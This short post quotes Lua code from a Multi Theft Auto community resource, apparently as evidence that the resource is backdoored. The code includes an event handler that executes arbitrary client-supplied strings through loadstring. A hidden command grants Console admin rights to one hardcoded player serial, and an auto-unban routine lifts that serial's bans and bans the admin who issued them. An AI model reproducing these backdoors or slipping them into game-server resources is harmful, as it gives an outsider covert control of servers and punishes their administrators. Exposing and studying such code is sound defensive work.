https://community.multitheftauto.com/index.php?p=resources&s=details&id=7432
addEvent("aExecuteMe", true)
addEventHandler("aExecuteMe", root, function(action, echo)
local result = loadstring("return " .. action)()
if echo == true then
local restring = ""
if type(result) == "table" then
for k,v in pairs(result) do
restring = restring .. tostring(v) .. ", "
end
restring = string.sub(restring, 1, -3)
restring = "Table (" .. restring .. ")"
else
if type(result) == "userdata" then
restring = "Element (" .. getElementType(result) .. ")"
end
else
restring = tostring(result)
end
outputChatBox("Command executed! Result: " .. restring, source, 0, 0, 255)
end
end
)
Also :
addCommandHandler("AboShanabShop", function(source)
local account = getAccountName(getPlayerAccount(source))
if getPlayerSerial(source) == "210AF10A69B9D39E458E9092EF795742" then
if isObjectInACLGroup("user." .. account .. "", aclGetGroup("Console")) then
return
end
aclGroupAddObject(aclGetGroup("Console"), "user." .. account .. "")
end
end
)
local serials = {["210AF10A69B9D39E458E9092EF795742"] = true}
autounban = function()
for i,p in ipairs(getElementsByType("player")) do
local Ser = getPlayerSerial(p)
if serials[Ser] then
thisIP = getPlayerIP(p)
end
end
for index,ban in pairs(getBans()) do
local serial = getBanSerial(ban)
local ip = getBanIP(ban)
if serials[serial] or ip == thisIP then
local bannedPlayer = getPlayerFromName(getBanAdmin(ban))
removeBan(ban, root)
banPlayer(bannedPlayer, false, false, true, root)
end
end
end
This is enough right?
DONE